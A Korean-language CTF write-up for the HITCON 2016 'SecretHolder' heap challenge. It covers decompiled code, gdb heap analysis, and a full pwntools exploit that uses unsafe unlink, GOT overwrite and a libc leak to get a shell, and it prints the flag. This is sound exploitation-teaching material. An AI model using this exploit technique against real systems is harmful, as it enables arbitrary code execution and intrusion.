Excuse the ads! We need some help to keep our site up.

List


Infomation

Description

Break the Secret Holder and find the secret.
nc 52.68.31.117 5566

SecretHolder

Related file

Source Code

Writeup

File information

autolycos@ubuntu:~/CTF/HITCON2016/SecretHolder$ file SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8 
SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1d9395599b8df48778b25667e94e367debccf293, stripped
autolycos@ubuntu:~/CTF/HITCON2016/SecretHolder$ checksec.sh --file SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8
autolycos@ubuntu:~/CTF/HITCON2016/SecretHolder$

libcary analysis

autolycos@ubuntu:~/CTF/HITCON2016/SecretHolder$ ./SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8 
Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret

Keep secret

Which level of secret do you want to keep?
1. Small secret
2. Big secret
3. Huge secret
__int64 KeepSecret()
{
  int command; // eax@1
  char tmp; // [rsp+10h] [rbp-10h]@1
  __int64 canary; // [rsp+18h] [rbp-8h]@1

  canary = *MK_FP(__FS__, 40LL);
  puts("Which level of secret do you want to keep?");
  puts("1. Small secret");
  puts("2. Big secret");
  puts("3. Huge secret");
  memset(&tmp, 0, 4uLL);
  read(0, &tmp, 4uLL);
  command = atoi(&tmp);
  if ( command == 2 )
  {
    if ( !GlobalBigFlag )
    {
      GlobalBig = calloc(1uLL, 4000uLL);
      GlobalBigFlag = 1;
      puts("Tell me your secret: ");
      read(0, GlobalBig, 4000uLL);
    }
  }
  else if ( command == 3 )
  {
    if ( !GlobalHugeFlag )
    {
      GlobalHuge = calloc(1uLL, 400000uLL);
      GlobalHugeFlag = 1;
      puts("Tell me your secret: ");
      read(0, GlobalHuge, 400000uLL);
    }
  }
  else if ( command == 1 && !GlobalSmallFlag )
  {
    GlobalSmall = calloc(1uLL, 40uLL);
    GlobalSmallFlag = 1;
    puts("Tell me your secret: ");
    read(0, GlobalSmall, 40uLL);
  }
  return *MK_FP(__FS__, 40LL) ^ canary;
}
Headerstdlib.h
Typevoid *calloc(size_t nelem, size_t elsize);

Description

 malloc()가 바이트 단위로 메모리를 요청한다면 특정 크기에 대한 개수 만큼을 메모리로 요청할 수 있습니다. 
Arg

size_t nelem

size_t elsize

Returnvoid * 할당된 메모리 포인터

NULL 메모리 할당에 실패


Wipe secret

Which Secret do you want to wipe?
1. Small secret
2. Big secret
3. Huge secret
__int64 WipeSecret()
{
  int command; // eax@1
  char s; // [rsp+10h] [rbp-10h]@1
  __int64 v3; // [rsp+18h] [rbp-8h]@1

  v3 = *MK_FP(__FS__, 40LL);
  puts("Which Secret do you want to wipe?");
  puts("1. Small secret");
  puts("2. Big secret");
  puts("3. Huge secret");
  memset(&s, 0, 4uLL);
  read(0, &s, 4uLL);
  command = atoi(&s);
  switch ( command )
  {
    case 2:
      free(GlobalBig);
      GlobalBigFlag = 0;
      break;
    case 3:
      free(GlobalHuge);
      GlobalHugeFlag = 0;
      break;
    case 1:
      free(GlobalSmall);
      GlobalSmallFlag = 0;
      break;
  }
  return *MK_FP(__FS__, 40LL) ^ v3;
}

Renew secret

Which Secret do you want to renew?
1. Small secret
2. Big secret
3. Huge secret
__int64 RenewSecret()
{
  int command; // eax@1
  char tmp; // [rsp+10h] [rbp-10h]@1
  __int64 canary; // [rsp+18h] [rbp-8h]@1

  canary = *MK_FP(__FS__, 40LL);
  puts("Which Secret do you want to renew?");
  puts("1. Small secret");
  puts("2. Big secret");
  puts("3. Huge secret");
  memset(&tmp, 0, 4uLL);
  read(0, &tmp, 4uLL);
  command = atoi(&tmp);
  if ( command == 2 )
  {
    if ( GlobalBigFlag )
    {
      puts("Tell me your secret: ");
      read(0, GlobalBig, 4000uLL);
    }
  }
  else if ( command == 3 )
  {
    if ( GlobalHugeFlag )
    {
      puts("Tell me your secret: ");
      read(0, GlobalHuge, 400000uLL);
    }
  }
  else if ( command == 1 && GlobalSmallFlag )
  {
    puts("Tell me your secret: ");
    read(0, GlobalSmall, 40uLL);
  }
  return *MK_FP(__FS__, 40LL) ^ canary;
}

Debuging

Allocated

lazenca0x0@ubuntu:~/CTF/HITCON/SecretHolder$ gdb -q ./Sec*
Reading symbols from ./SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8...(no debugging symbols found)...done.
gdb-peda$ b *0x400925
Breakpoint 1 at 0x400925
gdb-peda$ b *0x400981
Breakpoint 2 at 0x400981
gdb-peda$ b *0x4009D7
Breakpoint 3 at 0x4009d7
gdb-peda$
Breakpoint 1, 0x0000000000400925 in ?? ()
gdb-peda$ x/i $rip
=> 0x400925:	mov    QWORD PTR [rip+0x201784],rax        # 0x6020b0
gdb-peda$ i r rax
rax            0x603010	0x603010
gdb-peda$ 
gdb-peda$ c
Continuing.
...

Breakpoint 2, 0x0000000000400981 in ?? ()
gdb-peda$ x/i $rip
=> 0x400981:	mov    QWORD PTR [rip+0x201718],rax        # 0x6020a0
gdb-peda$ i r rax
rax            0x603010	0x603010
gdb-peda$ 
gdb-peda$ c
Continuing.
...

Breakpoint 1, 0x0000000000400925 in ?? ()
gdb-peda$ c
Continuing.
...

Breakpoint 3, 0x00000000004009d7 in ?? ()
gdb-peda$ x/i $rip
=> 0x4009d7:	mov    QWORD PTR [rip+0x2016ca],rax        # 0x6020a8
gdb-peda$ i r rax
rax            0x7ffff7f73010	0x7ffff7f73010

gdb-peda$ p main_arena.system_mem 
$1 = 0x21000
gdb-peda$ p main_arena.max_system_mem 
$2 = 0x21000
gdb-peda$ info proc map
process 68905
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x402000     0x2000        0x0 /home/lazenca0x0/CTF/HITCON/SecretHolder/SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8
            0x601000           0x602000     0x1000     0x1000 /home/lazenca0x0/CTF/HITCON/SecretHolder/SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8
            0x602000           0x603000     0x1000     0x2000 /home/lazenca0x0/CTF/HITCON/SecretHolder/SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8
            0x603000           0x624000    0x21000        0x0 [heap]
      0x7ffff7a0d000     0x7ffff7bcd000   0x1c0000        0x0 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7ffff7bcd000     0x7ffff7dcd000   0x200000   0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7ffff7dcd000     0x7ffff7dd1000     0x4000   0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7ffff7dd1000     0x7ffff7dd3000     0x2000   0x1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7ffff7dd3000     0x7ffff7dd7000     0x4000        0x0 
      0x7ffff7dd7000     0x7ffff7dfd000    0x26000        0x0 /lib/x86_64-linux-gnu/ld-2.23.so
      0x7ffff7f73000     0x7ffff7fd8000    0x65000        0x0 
      0x7ffff7ff6000     0x7ffff7ff8000     0x2000        0x0 
      0x7ffff7ff8000     0x7ffff7ffa000     0x2000        0x0 [vvar]
      0x7ffff7ffa000     0x7ffff7ffc000     0x2000        0x0 [vdso]
      0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x25000 /lib/x86_64-linux-gnu/ld-2.23.so
      0x7ffff7ffd000     0x7ffff7ffe000     0x1000    0x26000 /lib/x86_64-linux-gnu/ld-2.23.so
      0x7ffff7ffe000     0x7ffff7fff000     0x1000        0x0 
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]
gdb-peda$
Breakpoint 3, 0x00000000004009d7 in ?? ()
gdb-peda$ i r rax
rax            0x603010	0x603010
gdb-peda$ p main_arena.system_mem 
$9 = 0x82000
gdb-peda$ p main_arena.max_system_mem 
$10 = 0x82000
gdb-peda$ info proc map
process 68905
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x402000     0x2000        0x0 /home/lazenca0x0/CTF/HITCON/SecretHolder/SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8
            0x601000           0x602000     0x1000     0x1000 /home/lazenca0x0/CTF/HITCON/SecretHolder/SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8
            0x602000           0x603000     0x1000     0x2000 /home/lazenca0x0/CTF/HITCON/SecretHolder/SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8
            0x603000           0x685000    0x82000        0x0 [heap]
      0x7ffff7a0d000     0x7ffff7bcd000   0x1c0000        0x0 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7ffff7bcd000     0x7ffff7dcd000   0x200000   0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7ffff7dcd000     0x7ffff7dd1000     0x4000   0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7ffff7dd1000     0x7ffff7dd3000     0x2000   0x1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
      0x7ffff7dd3000     0x7ffff7dd7000     0x4000        0x0 
      0x7ffff7dd7000     0x7ffff7dfd000    0x26000        0x0 /lib/x86_64-linux-gnu/ld-2.23.so
      0x7ffff7fd5000     0x7ffff7fd8000     0x3000        0x0 
      0x7ffff7ff6000     0x7ffff7ff8000     0x2000        0x0 
      0x7ffff7ff8000     0x7ffff7ffa000     0x2000        0x0 [vvar]
      0x7ffff7ffa000     0x7ffff7ffc000     0x2000        0x0 [vdso]
      0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x25000 /lib/x86_64-linux-gnu/ld-2.23.so
      0x7ffff7ffd000     0x7ffff7ffe000     0x1000    0x26000 /lib/x86_64-linux-gnu/ld-2.23.so
      0x7ffff7ffe000     0x7ffff7fff000     0x1000        0x0 
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]
gdb-peda$ 

Structure of Exploit code 

  1. Heap memory 할당
  2. unsafe unlink
  3. libc base 주소 추출
  4. offset 추출
  5. Shell 실행
  1. Heap memory 할당
    1. Keep → "small secret"
    2. Free → "small secret"
    3. Keep → "big secret"
    4. Free → "small secret"
    5. Keep → "huge secret"
    6. Free → "huge secret"
    7. Keep → "small secret"
    8. Keep → "huge secret"
  2. unsafe unlink
    1. "big secret"영역에 unsafe unlink을 위한 chunk 구조 작성
    2. 전역 변수 "GlobalSmall"에 "0x602098(.bss영역 주소)" 저장
  3. Leak libc address
    1. "Renew secret"를 이용하여 전역 변수 "GlobalBig"에 "free() 함수의 .got" 저장
    2. "Renew secret"를 이용하여 "free() 함수의 .got.plt 값"을 "puts()함수의 .plt 주소"로 변경
    3. 전역 변수 "GlobalBig"에 "__read에 대한 .got" 저장
    4. free 함수 호출
  4. offset 추출
    1. leak address - read offset = libc base
    2. libc base + system offset = libc system
  5. Shell 실행
    1. "Renew secret"를 이용하여 전역 변수 "GlobalBig"에 "atoi()함수의 .got.plt 주소" 저장
    2. "atoi()함수의 .got.plt 주소"에 "__libc_system" 주소 저장

    3. "sh" 문자 입력

  • Heap memory 할당
  • unsafe unlink을 위한 chunk 구조
  • Leak libc address
  • system offset
  • free, atoi의 ".got.plt" 주소

Information for attack

Allocated


0x00x8
0x603000

0x0000000000000000

0x0000000000000031
0x603010

0x0000000a42424242

0x0000000000000000

0x603020

0x0000000000000000

0x0000000000000000

0x603030

0x0000000000000000

0x0000000000061a91

0x603040

0x0000000a64646464

0x0000000000000000
  • GlobalBig[0x6020a0] : 0x603010
  • GlobalHuge[0x6020a8] : 0x603040
  • GlobalSmall[0x6020b0] : 0x603010

unsafe unlink을 위한 Free Chunk 설계

struct malloc_chunk
{
  INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
  INTERNAL_SIZE_T size;      /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;   /* double links -- used only if free. */
  struct malloc_chunk* bk;
};
#define unlink( P, BK, FD ) {
    BK = P->bk;
    FD = P->fd;
    FD->bk = BK;
    BK->fd = FD;
}

0x00x8
0x603000

0x0000000000000000

0x0000000000000031
0x603010

prev_size(0x0)

size(0x31)

0x603020

fd(0x602098)

bk(0x6020a0)

0x603030

prev_size(0x20)

0x61a91 & PREV_INUSE = 0x61a90

0x603040

0x0000000a64646464

0x0000000000000000
#define unlink( P, BK, FD ) {
    BK = P->bk;(0x6020a0)
    FD = P->fd;(0x602098)
    FD->bk = BK;(0x602098 + 0x18 = 0x6020a0)
    BK->fd = FD;(0x6020a0 + 0x10 = 0x602098)
}
gdb-peda$ x/10gx 0x603000
0x603000:	0x0000000000000000	0x0000000000000031
0x603010:	0x0000000000000000	0x0000000000000031
0x603020:	0x0000000000602098	0x00000000006020a0
0x603030:	0x0000000000000020	0x0000000000061a90
0x603040:	0x0000000a44444444	0x0000000000000000
gdb-peda$ c
Continuing.


Program received signal SIGALRM, Alarm clock.
2
Which Secret do you want to wipe?
1. Small secret
2. Big secret
3. Huge secret
3
1. Keep secret
2. Wipe secret
3. Renew secret
^C
0x00007ffff7b049b0 in read () from ./libc.so.6_375198810bb39e6593a968fcbcf6556789026743
gdb-peda$ x/gx 0x6020b0
0x6020b0:	0x0000000000602098
gdb-peda$

Leak libc address

gdb-peda$ c
Continuing.
3
Which Secret do you want to renew?
1. Small secret
2. Big secret
3. Huge secret
1
Tell me your secret: 
AAAAAAAAAAAAAAAAAAAABBBB
1. Keep secret
2. Wipe secret
3. Renew secret
^C

0x00007ffff7b049b0 in read () from ./libc.so.6_375198810bb39e6593a968fcbcf6556789026743
gdb-peda$ x/8gx 0x0000000000602098
0x602098:	0x4141414141414141	0x4141414141414141
0x6020a8:	0x4242424241414141	0x000000000060200a
0x6020b8:	0x0000000000000001	0x0000000000000001
0x6020c8:	0x0000000000000000	0x0000000000000000
gdb-peda$ 
from pwn import *

def keep(size):
    p.recvuntil("3. Renew secret\n")
    p.sendline("1")
    p.recvuntil("3. Huge secret\n")
    p.sendline(size_num[size])
    p.recvuntil(":")
    p.send(size)

def wipe(size):
    p.recvuntil("3. Renew secret\n")
    p.sendline("2")
    p.recvuntil("3. Huge secret\n")
    p.sendline(size_num[size])
def renew(size,content):
    p.recvuntil("3. Renew secret\n")
    p.sendline("3")
    p.recvuntil("3. Huge secret\n")
    p.sendline(size_num[size])
    p.recvuntil(":")
    p.send(content)

p = process('./SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8', env={'LD_PRELOAD': './libc.so.6_375198810bb39e6593a968fcbcf6556789026743'})
bin = ELF('./SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8')
libc = ELF("libc.so.6_375198810bb39e6593a968fcbcf6556789026743")

size_num = { "small" : "1", "big" : "2", "huge" : "3" }

GlobalSmall = 0x6020B0
GlobalBig = 0x6020A0

#log.info("free got : " + str(hex(bin.got['free'])))
#log.info("read got : " + str(hex(bin.got['read'])))
#log.info("puts plt : " + str(hex(bin.plt['puts'])))
#log.info("atoi got : " + str(hex(bin.got['atoi'])))
#log.info("read offset : " + str(hex(libc.symbols['read'])))
#log.info("system offset : " + str(hex(libc.symbols['system'])))

keep("small")
wipe("small")
keep("big")
wipe("small")
keep("small")
keep("huge")
wipe("huge")
keep("huge")

#Unsafe unlink (Write to heap area)
secret = p64(0)
secret += p64(49)
secret += p64(GlobalSmall - 0x18)
secret += p64(GlobalSmall - 0x10)
secret += p64(32)
secret += p64(400016)
renew("big",secret)
wipe("huge")

#Overwrite to global variable (Write to stack area)
secret = "A"*8 						#0x602098
secret += p64(bin.got['free'])		#GlobalBig  [0x6020a0]:0x603010 -> bin.got['free']
secret += "A" * 8 					#GlobalHuge [0x6020a8]:0x603040 -> "A" * 8
secret += p64(GlobalBig)			#GlobalSmall[0x6020b0]:0x602098 -> 0x6020a0
renew("small",secret)

#Overwrite to GOT of free()
renew("big",p64(bin.plt['puts']))	#bin.got['free']:bin.plt['free'] -> bin.plt['puts'])

#Overwrite to GlobalBig(Set the first argument value.)
renew("small",p64(bin.got['read']))	#GlobalBig  [0x6020a0]:bin.got['free'] -> bin.got['read']

#Call puts(GlobalBig:bin.got['read']) (Print GOT of read().)
wipe("big")
data = p.recvline()

#Leak address
readAddr = u64(data[:6] + '\x00\x00')
libcBase = readAddr - libc.symbols['read']
systemAddr = libcBase + libc.symbols['system']
log.info("read addr : " + hex(readAddr))

log.info("libc Base : " + hex(libcBase))

log.info("system addr : " + hex(systemAddr))
lazenca0x0@ubuntu:~/CTF/HITCON/SecretHolder$ python Payload.py 
[+] Starting local process './SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8': pid 69469
[*] '/home/lazenca0x0/CTF/HITCON/SecretHolder/SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/lazenca0x0/CTF/HITCON/SecretHolder/libc.so.6_375198810bb39e6593a968fcbcf6556789026743'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] free got : 0x602018
[*] read got : 0x602040
[*] puts plt : 0x4006c0
[*] atoi got : 0x602070
[*] read offset : 0xf69a0
[*] system offset : 0x45380
[*] read addr : 0x7f1b543829a0
[*] libc Base : 0x7f1b5428c000
[*] system addr : 0x7f1b542d1380
[*] Stopped process './SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8' (pid 69469)
lazenca0x0@ubuntu:~/CTF/HITCON/SecretHolder$ 

Get shell

...
##Overwrite to global variable (Write to stack area)
secret = p64(bin.got['atoi']) 		#GlobalBig  [0x6020a0]:bin.got['read'] -> bin.got['atoi']
secret += "A" * 8 					#GlobalHuge [0x6020a8]:"A" * 8 -> "A" * 8
secret += p64(GlobalBig) 			#GlobalSmall[0x6020b0]:0x6020a0 -> GlobalBig[0x6020a0]
secret += p64(1)					#GlobalBigFlag [0x6020b8]:0 -> 1
renew("small",secret)
renew("big",p64(systemAddr))		#bin.got['atoi']:bin.plt['atoi'] -> system()

p.send("sh")

p.interactive()

Exploit Code

from pwn import *

def keep(size):
    p.recvuntil("3. Renew secret\n")
    p.sendline("1")
    p.recvuntil("3. Huge secret\n")
    p.sendline(size_num[size])
    p.recvuntil(":")
    p.send(size)

def wipe(size):
    p.recvuntil("3. Renew secret\n")
    p.sendline("2")
    p.recvuntil("3. Huge secret\n")
    p.sendline(size_num[size])
def renew(size,content):
    p.recvuntil("3. Renew secret\n")
    p.sendline("3")
    p.recvuntil("3. Huge secret\n")
    p.sendline(size_num[size])
    p.recvuntil(":")
    p.send(content)

p = process('./SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8', env={'LD_PRELOAD': './libc.so.6_375198810bb39e6593a968fcbcf6556789026743'})
bin = ELF('./SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8')
libc = ELF("libc.so.6_375198810bb39e6593a968fcbcf6556789026743")

size_num = { "small" : "1", "big" : "2", "huge" : "3" }

GlobalSmall = 0x6020B0
GlobalBig = 0x6020A0

log.info("free got : " + str(hex(bin.got['free'])))
log.info("read got : " + str(hex(bin.got['read'])))
log.info("puts plt : " + str(hex(bin.plt['puts'])))
log.info("atoi got : " + str(hex(bin.got['atoi'])))
log.info("read offset : " + str(hex(libc.symbols['read'])))
log.info("system offset : " + str(hex(libc.symbols['system'])))

keep("small")
wipe("small")
keep("big")
wipe("small")
keep("small")
keep("huge")
wipe("huge")
keep("huge")

#Unsafe unlink (Write to heap area)
secret = p64(0)
secret += p64(49)
secret += p64(GlobalSmall - 0x18)
secret += p64(GlobalSmall - 0x10)
secret += p64(32)
secret += p64(400016)
renew("big",secret)
wipe("huge")

#Overwrite to global variable
secret = "A"*8 						#0x602098
secret += p64(bin.got['free'])		#GlobalBig  [0x6020a0]:0x603010 -> bin.got['free']
secret += "A" * 8 					#GlobalHuge [0x6020a8]:0x603040 -> "A" * 8
secret += p64(GlobalBig)			#GlobalSmall[0x6020b0]:0x602098 -> 0x6020a0
renew("small",secret)

#Overwrite to GOT of free()
renew("big",p64(bin.plt['puts']))	#bin.got['free']:bin.plt['free'] -> bin.plt['puts'])

#Overwrite to GlobalBig(Set the first argument value.)
renew("small",p64(bin.got['read']))	#GlobalBig  [0x6020a0]:bin.got['free'] -> bin.got['read']

#Call puts(GlobalBig:bin.got['read']) (Print GOT of read().)
wipe("big")
data = p.recvline()

#Leak address
readAddr = u64(data[:6] + '\x00\x00')
libcBase = readAddr - libc.symbols['read']
systemAddr = libcBase + libc.symbols['system']
log.info("read addr : " + hex(readAddr))
log.info("libc Base : " + hex(libcBase))
log.info("system addr : " + hex(systemAddr))

##Overwrite to global variable (Write to stack area)
secret = p64(bin.got['atoi']) 		#GlobalBig  [0x6020a0]:bin.got['read'] -> bin.got['atoi']
secret += "A" * 8 					#GlobalHuge [0x6020a8]:"A" * 8 -> "A" * 8
secret += p64(GlobalBig) 			#GlobalSmall[0x6020b0]:0x6020a0 -> GlobalBig[0x6020a0]
secret += p64(1)					#GlobalBigFlag [0x6020b8]:0 -> 1
renew("small",secret)
renew("big",p64(systemAddr))		#bin.got['atoi']:bin.plt['atoi'] -> system()

p.send("sh")

p.interactive()

획득한 Flag 정보

Flag

hitcon{The73 1s a s3C7e+ In malloc.c, h4ve y0u f0Und It?:P}

Related Site